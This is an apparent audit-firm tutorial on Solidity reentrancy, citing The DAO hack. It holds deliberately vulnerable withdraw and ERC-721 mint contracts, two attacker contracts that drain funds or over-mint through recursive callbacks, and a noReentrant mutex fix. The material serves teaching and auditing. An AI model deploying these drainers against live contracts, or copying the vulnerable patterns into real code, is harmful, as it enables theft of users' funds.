FOREWORD
The Reentrancy attack in Solidity is to use a malicious smart contract to call the function of the original contract. When the contract fails to update its state before sending funds, the attacker can continuously call the withdraw () function to transfer funds in the contract until it is exhausted.
The most well-known case is The DAO attack in 2016. Due to a recursive function call error in the code, funds were locked in a smart contract vulnerable to reentrancy attacks, and 3.6 million Ethers were lost after being hacked.
In February 2022, a magazine reporter, Laura, used new forensic tools to find the culprit of the incident, the 36-year-old Austrian programmer Toby Hoenisch, but Hoenisch denied the accusation.
Vulnerable Contract Example
The malicious hacker can continue to transfer funds when he calls withdraw() function even though tokens have been received. This is because the contract has not yet updated its state.
Let’s see the smart contract with a vulnerability:
//SPDX-License-Identifier:MIT
pragma solidity >=0.7.0 <0.9.0;
contract DepositFunds {
mapping(address => uint) public balances;
bool internal locked;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
Then create an attacker contract to call withdraw() function; after the conditional expression is passed, the receive() function will be triggered. The result is that the attack will continue until the balance reaches zero.
The attacker contract will be like this:
//SPDX-License-Identifier:MIT
pragma solidity >=0.7.0 <0.9.0;
contract Attack {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
receive() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
Reentrancy attack against ERC721 contracts
We just introduced the basic reentrance attack contract. And now, let’s apply the vulnerability to the ERC-721 NFT contract to see how hackers attack NFT projects.
In this case, when a hacker calls the Mint() function, as the contract has not updated the user state, even if there is a limit that one address can only mint one Token, the hacker can still bypass the conditional expression to attack:
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MyERC721 is ERC721 {
constructor() ERC721("Test721", "Test721") {}
uint256 public tokenId;
mapping(address => bool) public canMint;
//mint token
function Mint() external returns (uint256) {
require(!canMint[msg.sender], "mint before");
tokenId++;
_safeMint(msg.sender, tokenId);
canMint[msg.sender] = true;
return tokenId;
}
}
And then, the hacker will call the original contract to use attack() to trigger the onERC721Received() function, bypass the verification of the minting counter, and generate multiple Tokens at a time:
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
interface Target {
function Mint() external payable;
}
contract Attack {
Target public target;
uint256 count = 1;
constructor(address _target) {
target = Target(_target);
}
function attack() public payable {
target.Mint();
}
function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {
if (count < 5) {
count++;
target.Mint();
}
return type(IERC721Receiver).interfaceId;
}
}
So, how to avoid Reentrancy Attacks?
The solution is to add the noReentrant() modifier externally for protection. Add a Boolean lock to it, set the initial state of the lock to false, change it to true before the contract executes withdraw() function, and restore the state to false after termination. In the same way, the NFT minting contract also can use a Boolean lock to protect the function before updating the user state.
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
Conclusion
Both The DAO and Cream Finance hacks were attacked by reentrancy due to smart contract vulnerabilities. In this regard, smart contract audit has become a very important part, and once a smart contract is deployed on the chain, it cannot be modified. Therefore, we strongly recommend that the project team conduct multiple security audits before releasing the code; otherwise, it may cause irreparable losses in the future.
If you are looking for a professional auditor, feel free to contact our technical experts.
